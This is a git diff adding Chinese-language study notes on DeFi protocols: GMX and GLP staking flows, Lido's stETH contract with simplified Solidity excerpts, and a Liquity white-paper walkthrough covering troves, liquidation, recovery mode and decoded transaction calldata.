+3. 拿得到的sbGMX和奖励的bnGMX分别质押到手续费池子里，得到sbfGMX，获得奖励代币WETH，即手续费分成
+4. 拿奖励代币esGMX配上sbfGMX代币，到GMX 兑换池中兑换成GMX
+
+GLP related:
+
+1. 用 ETH 购买 GLP，得到 GLP
+2. 用 GLP 质押到手续费池子中，得到 fGLP,同时获得手续费奖励 WETH
+3. 用得到的 fGLP 质押到 GLP 池子中，得到 fsGLP，同时获得奖励代币 esGMX
+4. 拿奖励代币 esGMX 配上 fsGLP，到 GMX 兑换池中兑换成 GMX
diff --git a/defi/GMX/code.md b/defi/GMX/code.md
new file mode 100644
index 000000000..d1d6ad16c
--- /dev/null
+++ b/defi/GMX/code.md
@@ -0,0 +1,5 @@
+## 代码解析：
+代码链接：https://github.com/gmx-io/gmx-contracts
+
+
+
diff --git a/defi/GMX/readme.md b/defi/GMX/readme.md
new file mode 100644
index 000000000..abb891da8
--- /dev/null
+++ b/defi/GMX/readme.md
@@ -0,0 +1,53 @@
+# GMX
+
+## GMX分享会
+
+- GMX项目分享视频回放
+  - YouTube
+    - 1p <https://www.youtube.com/watch?v=_KyDkEu0sYs>
+    - 2p <https://www.youtube.com/watch?v=7wTPIUw6iGo>
+  - Bilibili
+    - 1p <https://www.bilibili.com/video/BV12P411374D>
+    - 2p <https://www.bilibili.com/video/BV1Ae411u7iG>
+
+- [GMX分享会文档](./Share.md)
+
+## 原理介绍
+
+永续合约三种形式：
+
+1. 以 dydx 为代表的订单薄模式，与币安、FTX 等 CEX 的交易模式相同。
+2. 以 Perpetual 为代表的 AMM(自动做市商)模式，合约版的 Uniswap。
+3. 以 GMX 为代表的 LP 共享流动性模式，LP 与所有多方和空方互为对手盘。该模式是目前较为创新的模式，提升了资本的使用效率。
+
+GMX 系統中存在两种代币，分別为平台治理代币 GMX、流动性提供者代币 GLP。
+
+### GLP
+
+GMX 不采用 AMM 和订单簿的机制，转而采用 GLP 池子来满足用户做空或做多的需求。LP 在 GMX 体系內被称为 GLP。GLP 池是一个多资产池，池子里有 BTC/ETH/AVAX/USDC/USDT 等主流的代币按照一定比例组合而成，以此支持用户做多或做多的合约需求。
+
+采用 GLP 池子配合 Chainlink 预言机报价（数据来自 Binance&FTX），来确定代币“真实价格”
+
+GLP 的价格除了由组成的资产价格決定外，还需考虑 GLP 在与交易员博弈过程中的盈亏情況。因为 GLP 与交易员是零和博弈，交易员亏损则 GLP 获利，其币价上涨，反之亦然。
+GLP 的铸造和赎回的价格是根据（指数中的资产总价值，包括未平仓头寸的损益）/（GLP 供应量）计算的。
+
+当用户做多比特币时则相当于向池子“租赁”比特币。反之，当用户做空比特币时则相当于向池子“租赁”稳定币。这使得 GLP 池能够为协议赚取 LP 费用，而一切的盈利将分配给 GMX 和 GLP 的质押者。为了保障 GLP 池子的稳定运作，池子对各个资产有明确的比例规定。Arbitrum 及 Avax 公链上的 GLP 池子分别拥有 46%及 45%风险资产，其余 54%及 55%则为稳定币姿产。
+用户做空或做多会消耗不同代币在池子中的存量，因此协议规定不同代币铸造 GLP 有不一样的价格。换而言之，当特定姿产超过目标权重时，用户使用该代币购买 GLP 会相对而言昂贵，以此来平衡池子中各个代币的比例。
+
+### GLP 再平衡
+
+代币权重会根据交易者的未平仓头寸进行调整，以帮助对冲 GLP 持有者。如，如果很多交易者做多 ETH，那 ETH 的代币权重会更高，，如果交易者做空居多，那么稳定比的代币权重会更高。
+
+### 特点
+
+1. 使用 chainlink 预言机价格，这使得 GMX 能够以更低的流动性实现资产的“真实价格”，不仅为用户提供零滑点的永续合约服务，而且 GLP 池子的资金使用率也会大幅提升。链上数据显示，GLP 的资金使用率经常性超过 100%，年化回报也常年保持在 50%之上。
+
+2. 用户铸造 GLP，相当于购买了一篮子的加密货币姿产。越多用户铸造 GLP，GLP 池子则越深，越能支撑更多交易量。GLP 池子本质上是一个流动性池，GMX 的交易者是 GLP 池子的交易对手。当 GMX 的交易者获利时，GLP 持有者便会亏损。但，通过过往数据可知 GMX 交易员长期保持亏损的状态。这便是 GLP 池子能够长期盈利的核心原因。
+
+
+## 参考链接
+
+- GMX 原理介绍： <https://mirror.xyz/0x8f87F347904e84F97f51D957C17F4B4F8996ae54/BgFi9YIB-flIrzfYNQmgBQpx5HWg1NaW4FzM69Pva3s>
+- 币圈科学家 youtube: <https://www.youtube.com/watch?v=FmCE9GxDlVo>
+- On-Chain Analysis of GMX and Perp v2:
+  <https://0xatomist.substack.com/p/on-chain-analysis-of-gmx-and-perp>
diff --git a/defi/Lido/readme.md b/defi/Lido/readme.md
new file mode 100644
index 000000000..5adb40842
--- /dev/null
+++ b/defi/Lido/readme.md
@@ -0,0 +1,104 @@
+### **Lido 项目 README**
+
+
+## **Lido 项目简介**
+
+Lido 是一个领先的流动性质押（Liquid Staking）协议，专注于为用户提供无需锁定资产且无需自行维护硬件或软件基础设施的质押服务。作为以太坊 LSD（ETH Liquid Staking Derivatives）的龙头项目，Lido 对以太坊的 PoS 机制产生了深远影响。
+
+
+## **核心功能**
+
+1. **流动性质押**  
+   用户质押 ETH 后会获得等值的衍生代币 `stETH`，代表其在协议中的质押份额。`stETH` 可在 DeFi 生态系统中使用，例如借贷、流动性挖矿和交易，从而为用户提供资产流动性。
+
+2. **支持多链质押**  
+   除了以太坊，Lido 还支持 Solana（SOL）、Polygon（MATIC）、Kusama（KSM）和 Polkadot（DOT）等多个 PoS 区块链的质押服务。
+
+3. **每日收益**  
+   用户质押的奖励以 `stETH` 的形式每日自动分配，反映在用户持有的 `stETH` 数量中，无需主动操作。
+
+
+## **Lido 的优势**
+
+- **灵活性**：支持任意数量的 ETH 质押，无需满足 32 ETH 的最低要求。
+- **流动性**：通过 `stETH`，用户的质押资产可以继续参与 DeFi 生态中的其他活动。
+- **高安全性**：由顶级节点运营商和多重审计支持，确保用户资金安全。
+- **用户友好**：无需复杂的节点设置，简单几步即可完成质押操作。
+
+
+## **Lido 的劣势**
+
+- **费用**：质押奖励收取 10% 的费用（5% 分配给节点运营商，5% 进入 Lido 国库）。
+- **中心化风险**：尽管 Lido 致力于去中心化，但其节点运营商和治理仍可能存在一定的中心化倾向。
+
+
+## **技术架构**
+
+### **核心组件**
+
+1. **`Lido` 合约**  
+   负责用户质押和 `stETH` 铸造的逻辑。
+
+2. **`Oracle` 合约**  
+   提供网络的质押和奖励数据。
+
+3. **`Node Operators Registry` 合约**  
+   管理和注册节点运营商，确保协议的安全性和去中心化。
+
+4. **`Staking Router`**  
+   支持多链质押，通过模块化设计实现对不同区块链网络的接入。
+
+
+## **与以太坊 PoS 的关系**
+
+Lido 在以太坊 PoS 转型中扮演着重要角色，为用户提供了便捷的质押服务。通过 Lido：
+- 用户无需运行节点即可参与以太坊的质押。
+- `stETH` 的引入使得用户可以继续使用质押资产参与 DeFi 生态，提升了以太坊网络的流动性和资本效率。
+
+
+## **治理代币：LDO**
+
+- **功能**：LDO 代币持有者可以参与 Lido 协议的治理，包括投票调整参数、治理规则和运营策略。
+- **用途**：LDO 代币用于提案投票和奖励分配。
+
+
+## **费用结构**
+
+- **质押奖励费用**：10%
+  - 5% 分配给节点运营商。
+  - 5% 进入 Lido 国库，用于协议的进一步发展。
+
+
+## **生态系统**
+
+- **DefiLlama Dashboard**: 提供 Lido 在 DeFi 生态中锁仓量和流动性数据的全面统计。  
+  [查看 DefiLlama Dashboard](https://defillama.com/lsd)
+
+- **GitHub 合约仓库**: 包含 Lido 核心智能合约的实现代码。  
+  [Lido Contracts Repository](https://github.com/lidofinance/lido-dao)
+
+
+## **常见问题**
+
+### 1. **如何获取 stETH？**  
+用户可以通过 Lido 前端 DApp 或集成的钱包（如 MetaMask）直接质押 ETH 获取 `stETH`。
+
+### 2. **stETH 如何使用？**  
+`stETH` 代表用户的质押份额，可以在各类 DeFi 协议中使用，如借贷、交易、提供流动性等。
+
+### 3. **Lido 的质押年化收益是多少？**  
+收益率取决于以太坊网络的整体质押奖励率，通常在 4%~6% 之间。
+
+
+## **社区与支持**
+
+- **官网**: [https://lido.fi](https://lido.fi)
+- **Discord**: 实时支持和讨论。
+- **Twitter**: 跟踪 Lido 最新动态。
+- **文档**: [Lido Docs](https://docs.lido.fi/)
+
+
+## **参考资料**
+
+- [DefiLlama Dashboard](https://defillama.com/lsd)  
+- [Lido Contracts Repository](https://github.com/lidofinance/lido-dao)  
diff --git a/defi/Lido/stEth.md b/defi/Lido/stEth.md
new file mode 100644
index 000000000..ff461bb8b
--- /dev/null
+++ b/defi/Lido/stEth.md
@@ -0,0 +1,122 @@
+### **Lido stETH 合约分析**
+
+`stETH` 是 Lido 协议中的核心代币，代表用户质押的 ETH 以及累积的质押奖励。用户通过持有 `stETH` 可以继续获得以太坊质押收益，同时 `stETH` 可用于参与 DeFi 生态。
+
+## **核心功能**
+
+### 1. **铸造与销毁**
+
+当用户质押 ETH 时，Lido 合约会根据质押金额按 1:1 的比例铸造 `stETH`。在用户提取 ETH 时，`stETH` 会被销毁以保持代币供应与质押金额的对应关系。
+
+#### 核心代码
+
+```solidity
+function submit(address _referral) external payable returns (uint256) {
+    uint256 shares = _submit(msg.value, _referral);
+    return shares;
+}
+
+function _submit(uint256 _amount, address _referral) internal returns (uint256) {
+    uint256 shares = getSharesByPooledEth(_amount);
+    _mintShares(msg.sender, shares);
+    emit Submitted(msg.sender, _amount, _referral);
+    return shares;
+}
+```
+
+上述代码展示了 `submit` 函数如何根据用户的质押金额铸造 `stETH`。 `_submit` 方法计算用户的 `stETH` 份额（Shares），并将其分配给用户。
+
+
+### 2. **收益自动分配**
+
+Lido 协议使用 `rebase` 机制，每天更新用户持有的 `stETH` 数量，将质押奖励以份额形式分配到 `stETH` 持有者账户中。用户无需手动操作即可获得质押奖励。
+
+#### 代码实现
+
+```solidity
+function handleOracleReport(uint256 _postTotalPooledEther) external onlyOracle {
+    uint256 totalShares = _getTotalShares();
+    uint256 newShares = totalShares * _postTotalPooledEther / _getTotalPooledEther();
+    _setTotalPooledEther(_postTotalPooledEther);
+    emit Rebase(totalShares, newShares);
+}
+```
+
+`handleOracleReport` 函数根据最新的质押总量调整 `stETH` 的份额，这样用户的 `stETH` 持有量就会根据质押奖励自动增加。
+
+
+### 3. **与 ETH 的转换逻辑**
+
+`stETH` 与 ETH 的转换通过份额机制进行管理。每个 `stETH` 持有者拥有一定数量的份额，份额代表其在总质押池中的比例。
+
+#### 转换函数
+
+```solidity
+function getPooledEthByShares(uint256 _shares) public view returns (uint256) {
+    return _shares * _getTotalPooledEther() / _getTotalShares();
+}
+
+function getSharesByPooledEth(uint256 _amount) public view returns (uint256) {
+    return _amount * _getTotalShares() / _getTotalPooledEther();
+}
+```
+
+`getPooledEthByShares` 和 `getSharesByPooledEth` 函数用于计算 `stETH` 和 ETH 之间的转换比例。
+
+- **`getPooledEthByShares`**：根据用户的份额计算其对应的 ETH 数量。
+- **`getSharesByPooledEth`**：根据用户提供的 ETH 数量计算其应获得的份额。
+
+
+### 4. **核心组件分析**
+
+#### a. **Oracle（预言机）**
+
+Lido 使用预言机来报告以太坊质押总量的变化。预言机的报告触发 `rebase`，更新用户的质押奖励。
+
+```solidity
+modifier onlyOracle() {
+    require(msg.sender == ORACLE, "Caller is not the oracle");
+    _;
+}
+```
+
+#### b. **Node Operators Registry（节点运营商注册表）**
+
+Lido 的节点运营商负责管理和验证质押的 ETH。注册表维护了所有节点的状态及其质押情况。
+
+
+### 5. **stETH 在 DeFi 生态的应用**
+
+`stETH` 兼容 ERC20 标准，可用于 DeFi 协议，例如：
+- **Curve Finance**：提供 `stETH/ETH` 流动性池，方便用户进行稳定交换。
+- **Aave**：用户可以使用 `stETH` 作为抵押物借贷。
+- **Balancer**：通过流动性池优化资本效率。
+
+
+## **深入分析**
+
+### **价格偏差与市场波动**
+
+由于 `stETH` 在二级市场交易，其价格可能与 ETH 存在轻微偏差。这种偏差通常由市场流动性和供需变化引起，Lido 通过与 Curve 等流动性池的合作来缓解此问题，提供低滑点的交易体验。
+
+### **系统风险**
+
+1. **智能合约风险**：  
+   作为 DeFi 协议，Lido 依赖智能合约的安全性，一旦合约出现漏洞，可能导致用户资金损失。
+
+2. **预言机风险**：  
+   预言机数据的准确性至关重要，若预言机提供错误数据，可能影响质押奖励分配或引发用户损失。
+
+3. **中心化风险**：  
+   虽然 Lido 正在逐步去中心化，但目前仍存在节点集中化问题，可能影响协议的稳定性。
+
+
+## **总结**
+
+Lido 的 `stETH` 合约通过创新的流动性质押机制，为用户提供了灵活、安全的质押体验。  
+不仅降低了以太坊质押门槛，还通过 DeFi 生态扩大了用户的收益来源。
+
+**关键点总结：**
+- **流动性质押**：`stETH` 为用户提供了质押奖励和流动性。
+- **自动收益分配**：通过 `rebase` 机制，无需手动操作即可获得质押收益。
+- **多样化应用**：`stETH` 被广泛应用于 DeFi 借贷、流动性挖矿等场景。
diff --git "a/defi/Liquity/Liquity WhitePaper\346\240\271\346\215\256\344\273\243\347\240\201\350\247\243\350\257\273.md" "b/defi/Liquity/Liquity WhitePaper\346\240\271\346\215\256\344\273\243\347\240\201\350\247\243\350\257\273.md"
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ "b/defi/Liquity/Liquity WhitePaper\346\240\271\346\215\256\344\273\243\347\240\201\350\247\243\350\257\273.md"	
@@ -0,0 +1 @@
+
diff --git "a/defi/Liquity/contract/\345\215\217\350\256\256\344\273\243\347\240\201\345\272\223\350\247\243\346\236\220.md" "b/defi/Liquity/contract/\345\215\217\350\256\256\344\273\243\347\240\201\345\272\223\350\247\243\346\236\220.md"
new file mode 100644
index 000000000..e69de29bb
diff --git a/defi/Liquity/pics/Liquity.png b/defi/Liquity/pics/Liquity.png
new file mode 100644
index 000000000..9e0a3ff7f
Binary files /dev/null and b/defi/Liquity/pics/Liquity.png differ
diff --git a/defi/Liquity/pics/redistribute.png b/defi/Liquity/pics/redistribute.png
new file mode 100644
index 000000000..344b8e643
Binary files /dev/null and b/defi/Liquity/pics/redistribute.png differ
diff --git a/defi/Liquity/pics/trailofbits_audit.png b/defi/Liquity/pics/trailofbits_audit.png
new file mode 100644
index 000000000..edacd66cf
Binary files /dev/null and b/defi/Liquity/pics/trailofbits_audit.png differ
diff --git "a/defi/Liquity/share/![\346\210\252\345\261\2172022-01-06 14.21.49.png].png" "b/defi/Liquity/share/![\346\210\252\345\261\2172022-01-06 14.21.49.png].png"
new file mode 100644
index 000000000..cb8453d33
Binary files /dev/null and "b/defi/Liquity/share/![\346\210\252\345\261\2172022-01-06 14.21.49.png].png" differ
diff --git a/defi/Liquity/share/2023-03-16-09-53-27.png b/defi/Liquity/share/2023-03-16-09-53-27.png
new file mode 100644
index 000000000..abe1d10a6
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-53-27.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-54-31.png b/defi/Liquity/share/2023-03-16-09-54-31.png
new file mode 100644
index 000000000..3f691b659
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-54-31.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-54-43.png b/defi/Liquity/share/2023-03-16-09-54-43.png
new file mode 100644
index 000000000..9d5375bf9
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-54-43.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-54-56.png b/defi/Liquity/share/2023-03-16-09-54-56.png
new file mode 100644
index 000000000..6bba217df
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-54-56.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-55-22.png b/defi/Liquity/share/2023-03-16-09-55-22.png
new file mode 100644
index 000000000..7bd8e0032
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-55-22.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-55-31.png b/defi/Liquity/share/2023-03-16-09-55-31.png
new file mode 100644
index 000000000..292ab95e6
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-55-31.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-55-42.png b/defi/Liquity/share/2023-03-16-09-55-42.png
new file mode 100644
index 000000000..95b41964b
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-55-42.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-55-51.png b/defi/Liquity/share/2023-03-16-09-55-51.png
new file mode 100644
index 000000000..3141e4f5b
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-55-51.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-56-20.png b/defi/Liquity/share/2023-03-16-09-56-20.png
new file mode 100644
index 000000000..53a507d8a
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-56-20.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-56-28.png b/defi/Liquity/share/2023-03-16-09-56-28.png
new file mode 100644
index 000000000..dd2264a61
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-56-28.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-56-38.png b/defi/Liquity/share/2023-03-16-09-56-38.png
new file mode 100644
index 000000000..b3faf8af6
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-56-38.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-56-48.png b/defi/Liquity/share/2023-03-16-09-56-48.png
new file mode 100644
index 000000000..b3faf8af6
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-56-48.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-56-58.png b/defi/Liquity/share/2023-03-16-09-56-58.png
new file mode 100644
index 000000000..0af5948a5
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-56-58.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-57-08.png b/defi/Liquity/share/2023-03-16-09-57-08.png
new file mode 100644
index 000000000..337234bd5
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-57-08.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-57-20.png b/defi/Liquity/share/2023-03-16-09-57-20.png
new file mode 100644
index 000000000..8f442abc4
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-57-20.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-57-40.png b/defi/Liquity/share/2023-03-16-09-57-40.png
new file mode 100644
index 000000000..34ec747f1
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-57-40.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-57-47.png b/defi/Liquity/share/2023-03-16-09-57-47.png
new file mode 100644
index 000000000..bac06bf31
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-57-47.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-58-07.png b/defi/Liquity/share/2023-03-16-09-58-07.png
new file mode 100644
index 000000000..140b5e26d
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-58-07.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-58-30.png b/defi/Liquity/share/2023-03-16-09-58-30.png
new file mode 100644
index 000000000..0224a0541
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-58-30.png differ
diff --git a/defi/Liquity/share/2023-03-16-09-58-50.png b/defi/Liquity/share/2023-03-16-09-58-50.png
new file mode 100644
index 000000000..04dca299a
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-09-58-50.png differ
diff --git a/defi/Liquity/share/2023-03-16-10-00-39.png b/defi/Liquity/share/2023-03-16-10-00-39.png
new file mode 100644
index 000000000..9a6f35eb2
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-10-00-39.png differ
diff --git a/defi/Liquity/share/2023-03-16-10-05-39.png b/defi/Liquity/share/2023-03-16-10-05-39.png
new file mode 100644
index 000000000..cb8453d33
Binary files /dev/null and b/defi/Liquity/share/2023-03-16-10-05-39.png differ
diff --git a/defi/Liquity/share/share.md b/defi/Liquity/share/share.md
new file mode 100644
index 000000000..326799e88
--- /dev/null
+++ b/defi/Liquity/share/share.md
@@ -0,0 +1,587 @@
+# Liquity 白皮书分享
+## liquity整体架构：
+![](2023-03-16-09-53-27.png)
+1. 单一抵押借贷，低抵押率 110%
+2. 0借贷利率，借贷有费用
+3. 两段式清算
+4. 稳定币LUSD，平台收益币LQTY
+### 关键概念：
+
+1. 单个Trove风险指标：MCR，ICR ⇒ 若 ICR < MCR, 该trove会被清算
+2. 平台所有Trove风险指标：CCR，TCR ⇒ 若 TCR < CCR, liquify平台会进入恢复模式，进行全局清算。
+   
+$$
+\begin{align*} TCR & = \frac{\sum_{i}^{n}ETH_{collateral}\times Price}{\sum_{i}^{n}LUSD_{debt}}& \\
+  netDebt & = LUSD_{borrow}+LUSD_{borrowFee}& \\
+  composeDebt & = LUSD_{borrow}+LUSD_{borrowFee}+LUSD_{gas}& \\ 
+  LUSD_{borrowFee} & = b_t \times LUSD_{borrow}& \\ 
+  b_t & = b_{t-1}+\alpha \times \frac{m}{n} \\ 
+  b_t & = b_{t-1}\times\delta^{\Delta t} \\ 
+  ICR & = \frac{ETH_{collateral}\times Price}{composeDebt} \\ 
+  NICR & = \frac{ETH_{collateral}}{composeDebt}
+\end{align*}
+$$
+
+### 主要用户交互：
+
+开仓，平仓，调仓
+![](2023-03-16-09-54-31.png)
+![](2023-03-16-09-54-43.png)
+![](2023-03-16-09-54-56.png)
+
+### 有序双向链表：Troves
+
+按照NICR排序
+
+用户redeem时，按照从低到高顺序redeem
+![](2023-03-16-09-55-22.png)
+![](2023-03-16-09-55-31.png)
+![](2023-03-16-09-55-42.png)
+![](2023-03-16-09-55-51.png)
+
+### 清算策略1: 稳定池
+
+稳定池：stable pool
+
+由用户存入LUSD组成，共担清算风险，均分ETH收益
+![](2023-03-16-09-56-20.png)
+![](2023-03-16-09-56-28.png)
+![](2023-03-16-09-56-38.png)
+![](2023-03-16-09-56-48.png)
+![](2023-03-16-09-56-58.png)
+![](2023-03-16-09-57-08.png)
+![](2023-03-16-09-57-20.png)
+
+### 清算策略2: 债务拆分
+![](2023-03-16-09-57-40.png)
+![](2023-03-16-09-57-47.png)
+表中D被拆分了，拆分按照抵押物数量占比来分配被拆分人的资产和债务。
+
+### 恢复模式：Recovery Mode
+
+处于恢复模式，意味着整个系统的风险系数过高，需要降低系统的风险。需要对系统中的Trove进行整体的清算。同时不允许存在降低系统TCR的行为。但允许增加系统TCR的行为存在。
+![](2023-03-16-09-58-07.png)
+
+## ETH flow
+![](2023-03-16-09-58-30.png)
+## LUSD flow
+![](2023-03-16-09-58-50.png)
+
+## 代码分析
+第一步是找到用户开仓，调仓，平仓的三笔交易，然后根据这三笔交易来分别进行分析：
+
+开仓：
+
+[https://versatile.blocksecteam.com/tx/eth/0x9a7c5e5fefbde5de53183607442e4955af08843522f82014bbc97990b18225e4](https://versatile.blocksecteam.com/tx/eth/0x9a7c5e5fefbde5de53183607442e4955af08843522f82014bbc97990b18225e4)
+
+调仓：
+
+[https://versatile.blocksecteam.com/tx/eth/0xd0c55c1a4c519b2e243c76d4dd3d31d242ae82390680299067bbe3f6f6d81c44](https://versatile.blocksecteam.com/tx/eth/0xd0c55c1a4c519b2e243c76d4dd3d31d242ae82390680299067bbe3f6f6d81c44)
+
+平仓：
+
+[https://versatile.blocksecteam.com/tx/eth/0x658163ff420eb0bdcf2a9ccdb94cd317c86a3b9c1bcf5df91dfd631f8e821c62](https://versatile.blocksecteam.com/tx/eth/0x658163ff420eb0bdcf2a9ccdb94cd317c86a3b9c1bcf5df91dfd631f8e821c62)
+
+openTrove
+
+```jsx
+Function: openTrove(uint256 _maxFeePercentage, uint256 _LUSDAmount, address _upperHint, address _lowerHint)
+
+MethodID: 0x860665b3
+[0]:  0000000000000000000000000000000000000000000000000023d8b9cb5133ed //maxFeePercentage
+[1]:  0000000000000000000000000000000000000000000001ccc9324511e4500000 //LUSD
+[2]:  0000000000000000000000009293e91b7c2722f1dd25bb826aadfae32b01b11f //UpperHint
+[3]:  0000000000000000000000006e5288e47e21227c7f102c6695c103e1d80effda //lowerHint
+msg.value = 8.5 ether
+```
+
+用户调用该方法是，会调用borrowOperations的openTrove方法：
+
+涉及到的数学公式有：
+
+$$
+\begin{align}
+  TCR & = \frac{\sum_{i}^{n}ETH_{collateral}\times Price}{\sum_{i}^{n}LUSD_{debt}}& \\ 
+  netDebt & = LUSD_{borrow}+LUSD_{borrowFee}& \\ 
+  composeDebt & = LUSD_{borrow}+LUSD_{borrowFee}+LUSD_{gas}& \\ 
+  LUSD_{borrowFee} & = b_t \times LUSD_{borrow}& \\ 
+  b_t & = b_{t-1}+\alpha \times \frac{m}{n} \\ 
+  b_t & = b_{t-1}\times\delta^{\Delta t} \\ 
+  ICR & = \frac{ETH_{collateral}\times Price}{composeDebt} \\ 
+  NICR & = \frac{ETH_{collateral}}{composeDebt}
+\end{align}
+$$
+
+```js
+function openTrove(uint _maxFeePercentage, uint _LUSDAmount, address _upperHint, address _lowerHint) external payable override {
+第一步：通过priceFeed拿到当前的ETH/USD的价格
+第二步：根据拿到的ETH价格，判断是否进入recover模式
+第三步：判断参数maxFeePercentage是否合法
+第四步：要求trove没有被创建，即该msg.sender首次调用openTrove
+第五步：赋值净债务netBebt为LUSDAMOUNT
+第六步：如果不是recoveryMode的话，则计算出LUSD的borrow费用，并把费用更新到用户的净债务上
+第七步：检查净债务的最小值是否满足条件
+第八步：计算trove的复合债务，即净债务加上gas 费用
+第九步：计算ICR和NICR      
+第十步：如果是恢复模式，则要求ICR在CCR(150%)之上，如果不是恢复模式，则要求ICR是否在MCR(110%)之上。
+计算新的TCR，并要求新的TCR在CCR之上。
+第十一步：更新TroveManager的该trove的状态，设置该trove为活跃，增加该trove的抵押品数量，增加该trove的债务数量
+第十二步：更新TroveManager的该trove的reward快照
+第十三步：更新TroveManager的总抵押
+
+第十四步：根据前端页面传过来的upper和lower，将该trove插入到链表中                                                                
+第十五步：把TroveOwner添加到troveManger中。
+第十六步：把ETH转账给actvePool,给用户mint相应数量_LUSDAmount的LUSD
+第十七步：给gasPoolmint一定数量LUSD_GAS_COMPENSATION的LUSD
+```
+![](2023-03-16-10-00-39.png)
+
+第二步：调仓：
+
+```jsx
+Function: adjustTrove(uint256 _maxFeePercentage, uint256 _collWithdrawal, uint256 _LUSDChange, bool _isDebtIncrease, address _upperHint, address _lowerHint)
+
+MethodID: 0xc6a6cf20
+[0]:  0000000000000000000000000000000000000000000000000024db6565c6d854 //maxFeePercentage
+[1]:  0000000000000000000000000000000000000000000000000000000000000000 //collWithdraw
+[2]:  0000000000000000000000000000000000000000000000d876102494c9a36b50 //LUSD change
+[3]:  0000000000000000000000000000000000000000000000000000000000000000 //isDebtIncrease
+[4]:  000000000000000000000000a4b120fdb2fd946a67fbe996cb650dc2cd7d55f2 // upper hint
+[5]:  000000000000000000000000251acec7536e28cc43268f92f1d554e64f421420 //lower hint
+```
+
+涉及到的公式有：
+
+$$
+TCR=\frac{\sum_{i}^{n}ETH_{coll}\times Price_t}{\sum_{i}{n}LUSD_{debt}}\\ 
+$$
+
+$$
+\delta netDebt=\left\{\begin{matrix} 
+  \delta LUSD+borrowFee &\text{新增债务}\\  
+  \delta LUSD &
+\end{matrix}\right. 
+$$
+
+$$
+\begin{align*}
+ICR_{t,old} & = \frac{ETH_{collateral}\times Price_t}{composeDebt}\\
+ICR_{t,new} & = \frac{(ETH_{collateral}\pm \delta collateral)\times Price_t}{composeDebt\pm \delta netDebt}
+\end{align*}
+$$
+
+$$
+\begin{cases} 
+  ICR_{t,new} > ICR_{t,old}\ ,ICR_{t,new} > CCR & \text{ recovery mode}\\ 
+  ICR_{t,new} > MCR\ , TCR_{t,new} >CCR & \text{ non recovery mode }
+\end{cases}
+$$
+
+$$
+\begin{cases} 
+  ICR_{t,new} > ICR_{t,old}\ ,ICR_{t,new} > CCR & \text{ recovery mode} \\  
+  ICR_{t,new} > MCR\ , TCR_{t,new} >CCR & \text{ non recovery mode }
+\end{cases}
+$$
+
+$$
+\begin{cases} isDebtIncrease=false, \delta LUSD > 0  & \text{ 偿还债务 } \\
+isDebtIncrease=true,\delta LUSD > 0  & \text{ 新增债务 } \\
+\end{cases} 
+$$
+
+$$
+\begin{cases}
+collWithdrawl > 0,msg.value > 0  & \text{ 禁止同存同取 } \chi \\
+collWithdrawl = 0,msg.value > 0  & \text{ 存入ETH }\\
+collWithdrawl > 0,msg.value = 0  & \text{ 取出ETH }\\
+\end{cases}
+$$
+
+$$
+\begin{align*} \text{偿还债务要求} \\ \begin{cases}
+ composeDebt-\delta LUSD \ge minDebt & \text{ 债务最小值 }\\
+ composeDebt \ge  \delta LUSD & \text{ 债务偿还上限 }\\
+ LUSD_{userBalance} \ge \delta LUSD & \text{ 足够余额 } 
+\end{cases}
+\end{align*}
+$$
+
+```js
+function _adjustTrove(address _borrower, uint _collWithdrawal, uint _LUSDChange, bool _isDebtIncrease, address _upperHint, address _lowerHint, uint _maxFeePercentage) internal {
+
+第一步：获取pricefeed中的ETH-USD价格
+第二步：判断是否进入recoveryMode，即TCR<150%
+第三步：如果没有进入recoveryMode，则要求maxfeePercentage合法，要求LUSDChange必须不为0.即不允许只增减保证金的操作
+第四步：要求不存在提取ETH和存储ETH的情况，即判断msg.value == 0 || collWithdraw == 0
+第五步：要求Adjust必须有调整的参数量，即masg.value !=0 || collwithdraw != 0||LUSDchange != 0
+第六步：要求Trove是活跃的。
+第七步：计算该trove的pending Reward？？
+第八步：计算该请求中的ETH变化量
+第九步：赋值LUSDchange到netDebtChange中
+第十步：如果debtIncrease且不在recoveryMode中，则计算出borrowFee，并把BorrowFee添加到netDebtChange中
+第十一步：拿到该trove的debt和coll数量
+第十二步：根据当前的ETH价格，和trove中原有的debt和coll，计算出旧的ICR
+第十三步：根据当前的ETH价格，和trove中改变后的debt和coll，计算出新的ICR
+第十四步：要求用户提出的collWithdraw小于用户的抵押Coll数量
